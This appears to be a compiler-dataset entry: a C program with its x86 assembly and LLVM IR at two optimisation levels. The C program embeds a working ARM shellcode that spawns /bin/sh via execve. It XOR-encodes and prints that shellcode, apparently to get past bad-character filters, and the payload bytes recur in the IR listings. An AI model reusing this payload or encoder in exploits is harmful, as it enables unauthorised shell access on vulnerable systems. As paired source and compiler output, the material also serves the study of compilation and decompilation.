#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ printf(char *, char);
int main() {
  unsigned char shellcode[] =
      "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10"
      "\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3"
      "\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
  int len = 48;
  char out[len];
  int i;
  for (i = 0; i < len; i++) {
    if (i == 6 || i == 12) {
      out[i] = shellcode[i] ^ 0x12;
      printf("0x%x,", out[i]);
      out[i]++;
    } else {
      out[i] = shellcode[i] ^ 0x47;
      if (i == 47) {
        printf("0x%x\n", out[i]);
      } else {
        printf("0x%x,", out[i]);
      }
      out[i]++;
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
movaps 0xefa(%rip),%xmm0
movaps %xmm0,-0x20(%rbp)
movaps 0xedf(%rip),%xmm0
movaps %xmm0,-0x30(%rbp)
movaps 0xec4(%rip),%xmm0
movaps %xmm0,-0x40(%rbp)
movb   $0x0,-0x10(%rbp)
movl   $0x30,-0x44(%rbp)
mov    -0x44(%rbp),%eax
mov    %rsp,%rcx
mov    %rcx,-0x50(%rbp)
mov    %rax,%rdx
add    $0xf,%rdx
and    $0xfffffffffffffff0,%rdx
mov    %rsp,%rcx
sub    %rdx,%rcx
mov    %rcx,-0x68(%rbp)
mov    %rcx,%rsp
mov    %rax,-0x58(%rbp)
movl   $0x0,-0x5c(%rbp)
mov    -0x5c(%rbp),%eax
cmp    -0x44(%rbp),%eax
jge    1257 <main+0x147>
cmpl   $0x6,-0x5c(%rbp)
je     1198 <main+0x88>
cmpl   $0xc,-0x5c(%rbp)
jne    11db <main+0xcb>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
movzbl -0x40(%rbp,%rcx,1),%ecx
xor    $0x12,%ecx
mov    %cl,%dl
movslq -0x5c(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
movslq -0x5c(%rbp),%rcx
lea    0xe75(%rip),%rdi
movsbl (%rax,%rcx,1),%esi
call   1030 <printf@plt>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
mov    (%rax,%rcx,1),%dl
add    $0x1,%dl
mov    %dl,(%rax,%rcx,1)
jmp    1244 <main+0x134>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
movzbl -0x40(%rbp,%rcx,1),%ecx
xor    $0x47,%ecx
mov    %cl,%dl
movslq -0x5c(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
cmpl   $0x2f,-0x5c(%rbp)
jne    121b <main+0x10b>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
lea    0xe2a(%rip),%rdi
movsbl (%rax,%rcx,1),%esi
call   1030 <printf@plt>
jmp    1233 <main+0x123>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
lea    0xe07(%rip),%rdi
movsbl (%rax,%rcx,1),%esi
call   1030 <printf@plt>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
mov    (%rax,%rcx,1),%dl
add    $0x1,%dl
mov    %dl,(%rax,%rcx,1)
jmp    1249 <main+0x139>
mov    -0x5c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5c(%rbp)
jmp    1178 <main+0x68>
movl   $0x0,-0x4(%rbp)
mov    -0x50(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
xor    %ebx,%ebx
lea    0xee2(%rip),%r15
lea    0xf0c(%rip),%r14
jmp    114c <main+0x3c>
nopw   0x0(%rax,%rax,1)
movzbl (%rbx,%r15,1),%eax
xor    $0x12,%al
movsbl %al,%esi
mov    %r14,%rdi
call   1030 <printf@plt>
add    $0x1,%rbx
cmp    $0x30,%rbx
je     1172 <main+0x62>
cmp    $0xc,%ebx
je     1130 <main+0x20>
cmp    $0x6,%ebx
je     1130 <main+0x20>
movzbl (%rbx,%r15,1),%eax
xor    $0x47,%al
cmp    $0x2f,%rbx
jne    1137 <main+0x27>
movsbl %al,%esi
lea    0xeca(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@__const.main.shellcode = [49 x i8] c"\0F\00\A0\E1 \00\80\E2\02 B\E0\05\00-\E9\0D\10\A0\E1\0Bp\A0\E3\00\00\00\EF\00\00\A0\E3\01p\A0\E3\00\00\00\EF/bin/sh\00\00"
@.str = [6 x i8] c"0x%x,\00"
@.str.1 = [6 x i8] c"0x%x\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [49 x i8]
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i64
%6 = alloca i32
store i32 0, i32* %1
%7 = bitcast [49 x i8]* %2 to i8*
store i32 48, i32* %3
%8 = load i32, i32* %3
%9 = zext i32 %8 to i64
%10 = call i8* @llvm.stacksave()
store i8* %10, i8** %4
%11 = alloca i8, i64 %9
store i64 %9, i64* %5
store i32 0, i32* %6
br label %12
12: ; preds = %75, %0
%13 = load i32, i32* %6
%14 = load i32, i32* %3
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %78
16: ; preds = %12
%17 = load i32, i32* %6
%18 = icmp eq i32 %17, 6
br i1 %18, label %22, label %19
19: ; preds = %16
%20 = load i32, i32* %6
%21 = icmp eq i32 %20, 12
br i1 %21, label %22, label %43
22: ; preds = %19, %16
%23 = load i32, i32* %6
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds [49 x i8], [49 x i8]* %2, i64 0, i64 %24
%26 = load i8, i8* %25
%27 = zext i8 %26 to i32
%28 = xor i32 %27, 18
%29 = trunc i32 %28 to i8
%30 = load i32, i32* %6
%31 = sext i32 %30 to i64
%32 = getelementptr inbounds i8, i8* %11, i64 %31
store i8 %29, i8* %32
%33 = load i32, i32* %6
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %11, i64 %34
%36 = load i8, i8* %35
%37 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i8 signext %36)
%38 = load i32, i32* %6
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i8, i8* %11, i64 %39
%41 = load i8, i8* %40
%42 = add i8 %41, 1
store i8 %42, i8* %40
br label %74
43: ; preds = %19
%44 = load i32, i32* %6
%45 = sext i32 %44 to i64
%46 = getelementptr inbounds [49 x i8], [49 x i8]* %2, i64 0, i64 %45
%47 = load i8, i8* %46
%48 = zext i8 %47 to i32
%49 = xor i32 %48, 71
%50 = trunc i32 %49 to i8
%51 = load i32, i32* %6
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8, i8* %11, i64 %52
store i8 %50, i8* %53
%54 = load i32, i32* %6
%55 = icmp eq i32 %54, 47
br i1 %55, label %56, label %62
56: ; preds = %43
%57 = load i32, i32* %6
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds i8, i8* %11, i64 %58
%60 = load i8, i8* %59
%61 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i8 signext %60)
br label %68
62: ; preds = %43
%63 = load i32, i32* %6
%64 = sext i32 %63 to i64
%65 = getelementptr inbounds i8, i8* %11, i64 %64
%66 = load i8, i8* %65
%67 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i8 signext %66)
br label %68
68: ; preds = %62, %56
%69 = load i32, i32* %6
%70 = sext i32 %69 to i64
%71 = getelementptr inbounds i8, i8* %11, i64 %70
%72 = load i8, i8* %71
%73 = add i8 %72, 1
store i8 %73, i8* %71
br label %74
74: ; preds = %68, %22
br label %75
75: ; preds = %74
%76 = load i32, i32* %6
%77 = add nsw i32 %76, 1
store i32 %77, i32* %6
br label %12
78: ; preds = %12
store i32 0, i32* %1
%79 = load i8*, i8** %4
%80 = load i32, i32* %1
ret i32 %80
}

LLVM IR (-O2):
@__const.main.shellcode = [49 x i8] c"\0F\00\A0\E1 \00\80\E2\02 B\E0\05\00-\E9\0D\10\A0\E1\0Bp\A0\E3\00\00\00\EF\00\00\A0\E3\01p\A0\E3\00\00\00\EF/bin/sh\00\00"
@.str = [6 x i8] c"0x%x,\00"
@.str.1 = [6 x i8] c"0x%x\0A\00"
define i32 @main() {
br label %1
1: ; preds = %0, %15
%2 = phi i64 [ 0, %0 ], [ %18, %15 ]
%3 = trunc i64 %2 to i32
switch i32 %3, label %8 [
i32 12, label %4
i32 6, label %4
]
4: ; preds = %1, %1
%5 = getelementptr inbounds [49 x i8], [49 x i8]* @__const.main.shellcode, i64 0, i64 %2
%6 = load i8, i8* %5
%7 = xor i8 %6, 18
br label %15
8: ; preds = %1
%9 = getelementptr inbounds [49 x i8], [49 x i8]* @__const.main.shellcode, i64 0, i64 %2
%10 = load i8, i8* %9
%11 = xor i8 %10, 71
%12 = icmp eq i64 %2, 47
br i1 %12, label %13, label %15
13: ; preds = %8
%14 = tail call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i8 signext %11)
br label %20
15: ; preds = %8, %4
%16 = phi i8 [ %7, %4 ], [ %11, %8 ]
%17 = tail call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i8 signext %16)
%18 = add nuw nsw i64 %2, 1
%19 = icmp eq i64 %18, 48
br i1 %19, label %20, label %1
20: ; preds = %15, %13
ret i32 0
}